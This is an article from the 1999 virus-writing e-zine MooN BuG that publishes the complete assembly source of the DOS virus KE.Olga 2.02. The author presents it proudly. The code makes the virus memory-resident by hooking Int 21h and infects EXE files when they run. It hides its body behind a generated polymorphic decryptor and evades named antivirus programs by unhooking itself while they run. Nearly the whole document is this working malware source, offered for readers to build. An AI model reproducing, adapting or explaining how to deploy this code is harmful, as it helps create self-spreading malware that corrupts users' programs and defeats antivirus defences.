╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│   CrkV   │00F║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║                Вирус KE.Olga, как пример использования CVME                ║
╚════════════════════════════════════════════════════════════════════════════╝

     В  прошлом  номере  я  опубликовал  вирус  KE,  новую  версию  которого я
представляю  нашим  читателям.  Кроме  небольших изменений в алгоритме работы,
вирус  стал  линейно  шифровать  свое  тело,  генерируя  при  этом полиморфный
расшифровщик,  написанный  на  основе  CVME.  Ну и конечно же, я не забыл свою
подругу, дав ее имя этому вирю ;-)))

=== Cut ===                                                           OLGA.ASM
;Вирус KE.OLGA 2.02 (c) 1998, 1999 by CrkV

;use tasm  olga.asm /m2 (для оптимизации)
;    tlink olga.obj

;WARNING !!! Для компиляции использовать TASM 2.0 - 3.2


Debug   EQU     0                       ;Для отладки Debug = 1

IF      Debug                           ;обработчик Int 21h
Int21h  EQU     21h
Fexec   EQU     4B00h                   ;функция запуска
XB      EQU     0                       ;1 байт для XOR в Int 21h
XB2     EQU     0                       ;2 байт -\\-
BPr     EQU     1                       ;байт проверки резидента
SInt    EQU     21h                     ;устанавливаемый вектор
ELSE
Int21h  EQU     03h
Fexec   EQU     4B00h                   ;функция запуска
XB      EQU     'K'                     ;1 байт для XOR в Int 21h
XB2     EQU     'E'                     ;2 байт -\\-
BPr     EQU     XB2                     ;байт проверки резидента
SInt    EQU     21h
ENDIF

XW      EQU     XB Shl 8 + XB2          ;Слово для XOR в Int 21h

.386

;===================================================================
;       0123456789 123456789 123456789 123456789 123456789 123456789
;===================================================================

CSeg    Segment Para USE16 'code'
        Assume  Cs:CSeg,Ds:CSeg,Ss:CSeg,Es:CSeg
Olga:

;Начало вирусного кода
        PushF
        PushA
        Push    Ds
Align   2

EntryPoint:
        Push    Es
        Mov     Bp,Offset EntryPoint-100h
SizePrg = Word Ptr $ - 2 - Offset EntryPoint

        Mov     Ax,5200h + XB
        Int     21h
        Cmp     Al,BPr                  ;резидент установлен ?
        Je      @All_Installed

        Pop     Dx
        Push    Dx
        Mov     Ax,3500h + SInt
        Int     21h                     ;дать адрес Int 21h
        Mov     Ss:[Bp+Ofs21h],Bx
        Mov     Ss:[Bp+Seg21h],Es
        Sub     Di,Di
        Mov     Es,Dx
@Get_Memory:

;--------- Memory Control Block structure --------------
MCB             struc
MCB_sig         db      ?               ; 'Z' or 'M'
MCB_owner       dw      ?               ; attribute of owner
MCB_size        dw      ?               ; size of MCB block
MCB_name        db      8 dup(?)        ; file name of owner
MCB             ends
;-------------------------------------------------------

        Mov     Ah,48h
        Mov     Bx,ReqMem
        Int     21h                     ;запросить блок памяти
        Jnc     @Alloc_Mem
        Dec     Dx                      ;Dx - PSP
        Mov     Ds,Dx                   ;MCB блок
        Sub     Word Ptr Ds:[Di+12h],ReqMem + 1 ;уменьшаем размер памяти в PSP
        Mov     Bx,Ds:[Di+03h]          ;размер блока
        Sub     Bx,ReqMem + 1
        Mov     Ah,4Ah
        Int     21h                     ;уменьшаем размер текущего блока
        Jmp     @Get_Memory

@Alloc_Mem:
        Mov     Es,Ax
        Dec     Ax
        Mov     Ds,Ax                   ;MCB полученного блока
        Mov     Word Ptr Ds:[Di+01h],08h;параграф описываемого блока
        Mov     Cx,VirLenght
        Push    Ss
        Pop     Ds
        Lea     Si,[Bp+100h]
        Cld
        Rep     MovSB                   ;копируем вирус в память

        Push    Es
        Pop     Ds
        Call    SetMy21

@All_Installed:
        Push    Ss
        Pop     Ds

;закрываем адресную линию A20
        Mov     Ax,4300h
        Int     2Fh
        Cmp     Al,80h
        Jne     @No_Himem               ;Himem.Sys не загружен
        Mov     Ax,4310h                ;дать адрес
        Int     2Fh
        Push    Es Bx
        Mov     Si,Sp
        Call    DWord Ptr [Si]
        Pop     Ax Ax Es Ds

@No_Himem:

        PopA
        PopF
        Add     Dx,100h
SaveSs  = Word Ptr $ - 2 - Offset EntryPoint

        Mov     Di,0FFF0h
SaveSp  = Word Ptr $ - 2 - Offset EntryPoint

        Mov     Si,0000h
SaveIp  = Word Ptr $ - 2 - Offset EntryPoint

        Mov     Ss,Dx
        Mov     Sp,Di

;в принципе надо запрещать прерывания и возвращать по IRet
;т.к. область стека может попасть на следующие команды, но ...

        Mov     Dx,Ds

        Add     Dx,1234h
SaveCs  = Word Ptr $ - 2 - Offset EntryPoint
        Org     $ - 2
        dw      0000h

        Push    Dx Si
        Mov     Dx,Ds
        Retf

;-------------------------------------------------------
SetMy21 Proc
        Mov     Dx,Offset New21h
Set21:  Mov     Ax,2500h + SInt
        Int     21h                     ;устанавливаем вектор 21h
        Ret
SetMy21 EndP
;-------------- обработчик Int 24h ---------------------

New24h  EQU     $ - Offset EntryPoint

        Mov     Al,03h
        IRet

;-------------- обработчик Int 21h ---------------------

New21h  EQU     $ - Offset EntryPoint

        PushF
        PushA
        Mov     Bp,Sp
        Cli
        Mov     [Bp-7],Ax
        db      67h                     ;префиксы смены разрядности
        PushFD
        Pop     Cx
        And     Ch,01b
        Pop     Cx
        Jnz     @Not_Exec
        Xor     Ax,XW
        Mov     Si,[Bp-7]
        Xor     Si,Ax
        Sub     Si,XW
        Jne     @Not_Exec
        Sti
;       Test    Byte Ptr [Bp+23],01
;       Jnz     @Not_Exec

        Cmp     Ax,(5200h + XB) Xor XW
        Jne     @Not_Check
        PopA
        Mov     Al,BPr
        Jmp     @Ex_PopF
@Not_Check:
        Cmp     Ax,Fexec Xor XW
        Jnz     @Not_Exec
        Call    Exec
@Not_Exec:
        PopA
@Ex_PopF:
        PopF
@Ex_21h:
        db      0EAh                    ;Jmp Far Seg:Ofs

Ofs21h  = Word Ptr $ - Offset EntryPoint + 100h
        dw      ?
Seg21h  = Word Ptr $ - Offset EntryPoint + 100h
        dw      ?

;------------- 2 обработчик Int 21h --------------------

New21h2 EQU     $ - Offset EntryPoint

        Xor     Ax,XW
        Jmp     @Ex_21h

;-------------------------------------------------------
@Exec_Antivir:

        LDs     Dx,Cs:[Ofs21h-100h]     ;восстанавливаем Int 21h
        Call    Set21                   ;который был до нас
        Pop     Es Ds Ax                ;Ax - Ret
        PopA                            ;запускаем антивирь
        Call    DWord Ptr Cs:[Ofs21h-100h]      ;Int 21h Ax=4B00h

        PushA
        Push    Ds Es Cs
        Pop     Ds
        Mov     Ax,3500h + SInt
        Int     21h
        Mov     Ds:[Ofs21h-100h],Bx     ;запоминаем новый Int 21h
        Mov     Ds:[Seg21h-100h],Es

        Call    SetMy21                 ;снова устанавливаем свой Int 21h

        Pop     Es Ds
        PopA
        RetF    02h
;-------------------------------------------------------
SetAtr  Proc
;устанавливает атрибуты файла
        Mov     Ax,4301h Xor XW
        Int     Int21h
        Ret
SetAtr  EndP
;-------------------------------------------------------
WriteF  Proc
;записывает данные в файл Ds:Dx - буфер, Cx - размер
        Mov     Ah,40h Xor XB
        Int     Int21h
        Ret
WriteF  EndP
;-------------------------------------------------------
SetFPE  Proc
;устанавливает указатель записи в файл на конец файла
        Mov     Al,02h Xor XB2
SetFP:  Mov     Ah,42h Xor XB
        Sub     Cx,Cx

BC      EQU     (42h Xor XB) And 80h

IF      BC                              ;Просто напросто обнуляем Dx
        Sub     Dx,Dx
ELSE
        Cwd                             ;Если старший бит Ax 0 (экономим байт ;)
EndIF

        Int     Int21h
        Ret
SetFPE  Endp
;-------------------------------------------------------
Infect  Proc
;Si - размер рандомной части, Bp - слово для шифрования

        Mov     Ax,5700h Xor XW
        Int     Int21h                  ;получить время созд.(изм.) файла
        Push    Cx Dx
        Mov     Dx,Buffer
        Mov     Cx,Si
        Call    WriteF                  ;запишем рандомную часть

        Jc      @Exit_Infect_Time

        Sub     Si,Si                   ;0 байт (если не записался вирь)
        Cmp     Ax,Cx
        Mov     Al,02h Xor XB2          ;запишем 0 байт к концу (отрежем вирь),
        Jne     @Write_Error

        Mov     Cx,VirLenght Shr 1
        Push    Cx Dx Dx
        Mov     Di,Dx
        Sub     Si,Si
        Repe    MovSW
        Pop     Si Di Cx

@LoopSh:LodSW
Rnd_Com EQU     $ - Offset EntryPoint
        Xor     Bp,Ax
        Inc     Bp
        Inc     Bp
        StoSW
        Loop    @LoopSh

        Mov     Cx,VirLenght
        Mov     Di,Cx

        Call    WriteF                  ;запишем зашифрованное тело виря

        Jc      @Exit_Infect_Time

        Sub     Si,Si
        Cmp     Ax,Cx
        Mov     Al,02h Xor XB2          ;запишем 0 байт к концу (отрежем вирь),
        Jne     @Write_Error

;модифицируем данные о размере программы
        Call    SetFPE                  ;получить размер файла
        Mov     Cx,200h
        Div     Cx
        Or      Dx,Dx
        Je      @512
        Inc     Ax
@512:   Mov     [Di+02h],Dx
        Mov     [Di+04h],Ax
        Xor     Dx,XW
        Mov     [Di+12h],Dx             ;метка вируса

        Mov     Al,00h Xor XB2          ;подготовимся к модификации начала
        Mov     Si,1Ah

@Write_Error:
        Call    SetFP
        Mov     Dx,Di
        Mov     Cx,Si
        Call    WriteF                  ;модифицируем начало или обрезаем
@Exit_Infect_Time:
        Mov     Ax,5701h Xor XW
        Pop     Dx Cx
        Int     Int21h                  ;восстанавливаем время
        Ret
Infect  Endp
;-------------------------------------------------------
Exec    Proc
        Push    Ds Es Ds
        Pop     Es
        Mov     Di,Dx
        Mov     Cx,0FFFFh
        Sub     Al,Al
        Repne   ScaSB
        Mov     Ax,[Di-07h]
        And     Ax,1101111111011111b
        Push    Cs
        Pop     Es
        Mov     Cx,SizeNI               ;проверка на неинфицируемые файлы
        Mov     Di,Offset OfsNI
        Repne   ScaSW
        Jne     @Not_NI
        Pop     Es Ds
        Ret

@Not_NI:
        Mov     Cx,SizeAV
        Mov     Di,Offset OfsAV
        Repne   ScaSW
        Je      @Exec_Antivir
        Mov     Ax,3500h + Int21h       ;дать адрес обработчика, который
        Int     21h                     ;будет использоваться вместо Int21h
        Push    Es Bx
        Mov     Al,24h
        Int     21h                     ;дать адрес обработчика кр.ош. Int 24h
        Push    Es Bx Ds Dx Cs
        Pop     Ds
        Mov     Ah,25h
        Mov     Dx,Offset New24h
        Int     21h                     ;устанавливаем вектор 24h

        Mov     Al,Int21h
        Mov     Dx,Offset New21h2
        Int     21h                     ;устанавливаем вектор для Int 21h

        Pop     Dx Ds
        Mov     Ax,4300h Xor XW
        Int     Int21h                  ;получить атрибуты файла

        Push    Cx

        Sub     Cx,Cx
        Call    SetAtr                  ;очищаем атрибуты файла

        Pop     Cx
        Jc      @Error_Atr
        Push    Cx

        Mov     Ax,3D02h Xor XW
        Int     Int21h                  ;открываем файл в режиме (чт./зп.)
        Jc      @Error_Open

        Xchg    Bx,Ax                   ;Ax - Handle файла
        Push    Ds Dx Cs Cs
        Pop     Es Ds


        Mov     Si,VirLenght
        Mov     Ah,3Fh Xor XB
        Mov     Cx,1Ah
        Mov     Dx,Si
        CmpSW                           ;Si - Exe Header + 2
        Int     Int21h                  ;читаем первые 1Ah байт файла

        Call    SetFPE
        Or      Dx,Dx
        Jz      @Exit_Infect

        Xchg    Bp,Ax
        Mov     Di,Dx

        Cmp     Byte Ptr [Si+16h],40h   ;Windows ? По идеи размер этих файлов
        Je      @Exit_Infect            ;не совпадает с размером в DOS-EXE
                                        ;заголовке. Но не всегда... KRNL386.EXE

        Mov     Ax,[Si]
        Xor     Ax,XW
        Cmp     [Si+10h],Ax             ;возможно инфицирован ?
        Je      @Exit_Infect

        Mov     Ax,Bp
        Mov     Cx,200h
        Div     Cx                      ;Ax - размер файла в 512 байтных кусках
        Or      Dx,Dx
        Jz      @Equal_512
        Inc     Ax
@Equal_512:
        Cmp     Dx,[Si]                 ;проверяем оверлейность
        Jne     @Exit_Infect
        Cmp     Ax,[Si+02h]
        Jne     @Exit_Infect

        Xchg    Ax,Bp
        Mov     Dx,Di
        Mov     Cx,10h
        Div     Cx
        Push    Bx Dx
        Sub     Ax,[Si+06h]             ;размер заголовка
        Mov     Di,Ax
        Xchg    Ax,[Si+14h]             ;Cs
        Add     Ax,Cx
        Mov     Bp,-100h
        Add     Bp,Dx
        Mov     Ds:SizePrg,Bp
        Mov     Ds:SaveCs,Ax
        Xchg    Dx,[Si+12h]             ;Ip
        Mov     Ds:SaveIp,Dx

        Xchg    Di,[Si+0Ch]
        Add     Di,Cx
        Mov     Ds:SaveSs,Di            ;Ss = Cs
        Mov     Ax,((VirLenght Shr 1) Shl 1) + 800h
        Xchg    Ax,[Si+0Eh]             ;Sp
        Mov     Ds:SaveSp,Ax

        Mov     Si,18h
        Mov     Di,Buffer

        Mov     Si,Di

;генерируем полиморфный расшифровщик, используя подпрограммы CVME

        Mov     Ax,609Ch
        StoSW
        Mov     Dx,1111111100010000b
        Call    Reg_Musor
        Mov     Al,1Eh                  ;Push Ds
        Call    Com_Musor
        Mov     Al,0Eh                  ;Push Cs
        Call    Com_Musor
        Mov     Al,1Fh                  ;Pop Ds
        Call    Com_Musor

        In      Ax,40h
        Xchg    Ah,Al
        Shr     Ax,1
        Push    Ax                      ;рандомное значение
        Xchg    Cx,Ax
        Mov     Dx,1111111100010111b    ;Bx,Bp,Si,Di
        Call    GetFrRS                 ;регистр базы
        And     Dl,11111000b            ;Sp - не используем
        Push    Ax
        Push    Ax
        Call    LoadReg
        Call    Reg_Musor
        Call    @LeaTabBI

TabBI   db      0,0,0,9Fh,0,0AEh,0B4h,0BDh

@LeaTabBI:
        Pop     Bx
        Pop     Cx
        Mov     Ax,Cx
        Xlat
        Xchg    Cx,Ax
        Call    Rand04
        Mov     Ah,Cl
        Cmp     Al,01h
        Jb      @R_Xor
        Je      @R_Add
        Mov     Al,29h
        Mov     Cl,01h
        Jmp     @R_Sub
@R_Add: Mov     Al,01h
        Mov     Cl,29h
        Jmp     @R_Sub
@R_Xor: Mov     Al,31h
        Mov     Cl,31h
@R_Sub: Mov     Byte Ptr Ds:[Rnd_Com],Cl
        Mov     Cx,Di
        StoSW
        Pop     Ax                      ;регистр
        Push    Di
        StoSW
        Call    Reg_Musor
        Or      Al,01000000b            ;Inc
        StoSB
        Call    Reg_Musor
        Mov     Ah,81h                  ;Cmp
        StoSW
        Or      Al,11111000b
        StoSB
        Push    Di                      ;значение
        Mov     Al,75h                  ;Jne
        StoSW
        StoSW
        Sub     Cx,Di
        Mov     [Di-1],Cl
        Sub     Di,Buffer               ;размер 1 части
        Add     Ds:SizePrg,Di
        Mov     Si,Di
        Mov     Bp,Sp
        Add     Di,[Bp+6]               ;стартовое Ip
        Sub     Di,[Bp+4]               ;рандомное значение
        Mov     Bx,[Bp+2]               ;адрес в команде шифрования
        Mov     [Bx],Di
        Mov     Di,[Bp+4]
        Mov     Bx,[Bp+0]               ;адрес в команде сравнения
        Add     Di,VirLenght
        Mov     [Bx],Di
        Pop     Bp Bp Bp Bx Bx          ;Bp:=Random

        Call    Infect

@Exit_Infect:
        Mov     Ah,3Eh Xor XB
        Int     Int21h                  ;закрываем файл

        Pop     Dx Ds
@Error_Open:
        Pop     Cx
        Call    SetAtr                  ;восстанавливаем атрибуты

@Error_Atr:
        Pop     Dx Ds
        Mov     Ax,2524h Xor XW
        Int     Int21h                  ;восстанавливаем вектора прерываний
        Pop     Dx Ds
        Mov     Al,Int21h
        Int     21h
        Pop     Es Ds
        Ret
Exec    EndP
;------------------- [CVME 1.01] -----------------------
LoadR2  Proc
        Push    Ax
        In      Ax,40h
        Test    Al,10b
        Pop     Ax
        Jz      LoadReg

;команды Mov Rg16,Im16 (Random1)
;        несколько мусора
;        Add (Sub, Xor)

        Push    Bx Ax Cx
        Xchg    Ax,Cx
        In      Ax,40h
        Push    Ax
        Xchg    Cx,Ax
        Call    LoadReg
        Mov     Al,81h
        Stosb
        Pop     Cx Bx                   ;Cx:=Rand1
        Call    Rand08
        Cmp     Al,01h
        Pop     Ax
        Jg      @Xor
        Je      @Sub
        Or      Al,11000000b            ;11000xxxb (Add R16,Im16)
@CM00:  Sub     Bx,Cx
        Jmp     @CR2
@Sub:   Or      Al,11101000b            ;11101xxxb (Sub R16,Im16)
        Xchg    Bx,Cx
        Jmp     @CM00
@Xor:   Or      Al,11110000b            ;11110xxxb (Xor R16,Im16)
        Xor     Bx,Cx
@CR2:   StoSB
        Xchg    Ax,Bx
        StoSW
        Pop     Bx
        Ret
LoadR2  Endp
;-------------------------------------------------------
LoadReg Proc
;генерирует команду(ы) загрузки регистра
;Ax - используемый регистр
;Cx - значение
;Es:Di - буфер

;на выходе: Es:Di - буфер для новой команды

        Push    Ax
        In      Ax,40h
        Test    Al,100b
        Pop     Ax
        Je      LM1

;---------------------------
LM0     Proc

;команда Mov Rg16,Im

        Push    Ax
        Or      Al,10111000b            ;Mov Rg16,Im
        StoSB
        XChg    Cx,Ax
        StoSW
        Pop     Ax
        Ret
LM0     Endp
;---------------------------
LM1     Proc

;команды Push Im16
;        несколько мусора
;        Pop R16

        Or      Al,01011000b            ;Pop R16
        Push    Ax
        Mov     Al,68h                  ;Push Im16
        StoSB
        XChg    Cx,Ax
        StoSW
        Test    Dh,00000100b            ;мусор нужен ???
        Jz      @NoRbL1
        Call    GetMDx
@NoRbL1:Pop     Ax
        StoSB
        Ret
LM1     Endp
;---------------------------

LoadReg Endp
;-------------------------------------------------------
GetFrR  Proc

;(Вых) Al - свободный регистр

@NextR: Call    Rand08
        Bt      Dx,Ax
        Jc      @NextR                  ;Регистр уже используется
        Ret
GetFrR  Endp
;-------------------------------------------------------
GetFrRS Proc

;(Вых) Al - свободный регистр (объявляется занятым)

@NextRS:Call    Rand08
        Bts     Dx,Ax
        Jc      @NextRS                 ;Регистр уже используется
        Ret
GetFrRS Endp
;-------------------------------------------------------
GetMus  Proc

;генерирует мусор

        Push    Ax Bx Cx
        Sub     Cx,Cx
        Call    Rand16
        Test    Al,1100b                ;Без команды (00xxb)
        Jz      @G00
        Call    RndSt2
        Cmp     Al,0110b
        Jg      @M01
        Call    RndID
@M01:   Call    RndCom
@M02:   Call    RndStDx
        Call    ClrStack

@G00:   Pop     Cx Bx Ax
        Ret
GetMus  Endp
;-------------------------------------------------------
Com_Musor:
        StoSB
Reg_Musor:
GetMDx  Proc
        Test    Dh,00000001b            ;мусор нужен ???
        Jz      @NoM01
        Call    GetMus
@NoM01: Ret
GetMDx  Endp
;-------------------------------------------------------
Random  Proc
        Push    Cx Dx
        In      Ax,40h
        Sub     Dx,Dx
        Sub     Cx,Cx
        Mov     Cl,Al
        JCxZ    Random + 2
        Div     Cx
        In      Al,40h
        Mov     Ah,Dh
        Pop     Dx Cx
        Ret
Random  EndP
;-------------------------------------------------------
Rand04  Proc
        In      Ax,40h
        And     Ax,11b
        Ret
Rand04  EndP
;-------------------------------------------------------
Rand08  Proc
        In      Ax,40h
        And     Ax,111b
        Ret
Rand08  EndP
;-------------------------------------------------------
Rand16  Proc
        Call    Random
        And     Ax,1111b
        Ret
Rand16  EndP
;-------------------------------------------------------
Push16  Proc
;генерирует команду помещения в стек
        Push    Ax
        Call    Random
        And     Ax,111b
        Cmp     Al,01h
        Jge     @P_00
        Mov     Al,68h                  ;Push Im16 (00h)
        StoSB
        In      Ax,40h
        StoSW
        Pop     Ax
        Ret

@P_00:  Jne     @P_01
        Mov     Al,6Ah                  ;Push Im8 (01h)
        StoSB
        In      Al,40h

@P_ExB: StoSB
        Pop     Ax
        Ret

@P_01:  Cmp     Al,05h
        Jne     @P_05
        Mov     Al,9Ch                  ;PushF (05h)
        Jmp     @P_ExB

@P_05:  Jg      @P_08
        Call    Rand04
        Shl     Al,3
        Or      Al,00000110b            ;000xx110 Push SR (03h,04h)
        Jmp     @P_ExB

@P_08:  Call    Rand08
        Or      Al,01010000b            ;01010xxx Push R16 (06h-08h)
        Jmp     @P_ExB

Push16  EndP
;-------------------------------------------------------
RndStack        Proc
;генерирует случайные команды работы со стеком
        Push    Ax
        In      Ax,40h
        Test    Al,11b
        Jnz     @ExP00
        Call    Push16
        Inc     Cx
@ExP00: In      Ax,40h
        Test    Al,11100b
        Jnz     @ExP01
        JCxZ    @ExP01                  ;В стеке ничего нет
        Call    GetFrR
        Or      Al,01011000b            ;01011xxx Pop R16
        StoSB
        Dec     Cx
@ExP01: Pop     Ax
        Ret
RndStack        EndP
;-------------------------------------------------------
RndStDx Proc
        Test    Dh,00000010b            ;мусор нужен ???
        Jz      @NoMSt
        Call    RndStack
@NoMSt: Ret
RndStDx EndP
;-------------------------------------------------------
RndSt2  Proc
        Call    RndStDx
        Jmp     RndStDx
RndSt2  EndP
;-------------------------------------------------------
ClrStack        Proc
        JCxZ    @ExCS                   ;В стеке ничего нет
        Push    Ax
@LpCS:  Call    GetFrR
        Or      Al,01011000b            ;01011xxx Pop R16
        StoSB
        Loop    @LpCS
        Pop     Ax
@ExCs:  Ret
ClrStack        EndP
;-------------------------------------------------------
RndID   Proc
        Push    Ax

        In      Ax,40h

        Mov     Bl,01000000b            ;Inc (00h)
        Test    Al,001b
        Jne     @MID00
        Mov     Bl,01001000b            ;Dec (01h)
@MID00: Call    GetFrR
        Or      Al,Bl

        StoSB
        Pop     Ax
        Ret
RndID   EndP
;-------------------------------------------------------
RndCom  Proc
        Push    Ax Bx

        Call    Random
        Test    Al,111b
        Jnz     @NMov
        Call    GetFrR
        Or      Al,0B8h                 ;10111xxx - Mov R16,Im
        StoSB
        Jmp     @ExRC16

@NMov:  Call    Rand08
        Shl     Al,3                    ;00xxx011b - команда
        Or      Ax,00000011b            ;Устанавливаем биты направления и разр.
        StoSB
        In      Ax,40h
        And     Al,11000111b            ;Reg1
        Xchg    Ax,Bx
        Call    GetFrR
        Shl     Al,3
        Or      Al,Bl
        StoSB                           ;Byte R/M
        Shr     Al,6
        Cmp     Al,10b
        Jg      @ExRC                   ;Com R16,R16
        Je      @ExRC16                 ;Com R16,[RBI+Ofs16]

        Cmp     Bl,00000110b            ;Com R16,[Mem]
        Je      @ExRC16
        Cmp     Al,00h                  ;Com R16,[RBI]
        Je      @ExRC
        In      Ax,40h
        StoSB
        Jmp     @ExRC

@ExRC16:In      Ax,40h
        StoSW
@ExRC:  Pop     Bx Ax
        Ret
RndCom  EndP
;-------------------------------------------------------
OfsNI   EQU     $ - Offset EntryPoint   ;не заражаем
LineNI  db      'NDINSTNF'              ;Command,Win,AidsTest,Adinf
SizeNI  EQU     ($ - OfsNI - Offset EntryPoint)/2

OfsAV   EQU     $ - Offset EntryPoint   ;антивири
LineAV  db      'VPTEEBDXIRAN'          ;AVP,AVPlite,DrWEB,NAVDX,AVIR,MSCAN
SizeAV  EQU     ($ - OfsAV - Offset EntryPoint)/2
VirName db      '[KE.OLGA 2.02 with CVME 1.01]'
Align   2
;-------------------------------------------------------
VirLenght EQU   $ - Offset EntryPoint
VLM     EQU     VirLenght Mod 512
VLD     EQU     VirLenght / 512
;-------------------------------------------------------
        db      1Ah     Dup (?)
ReqMem  EQU     ($ - Offset EntryPoint) Shr 3 + 1
Buffer  EQU     $ - Offset EntryPoint
;-------------------------------------------------------
CSeg    EndS
        End     Olga
=== Cut ===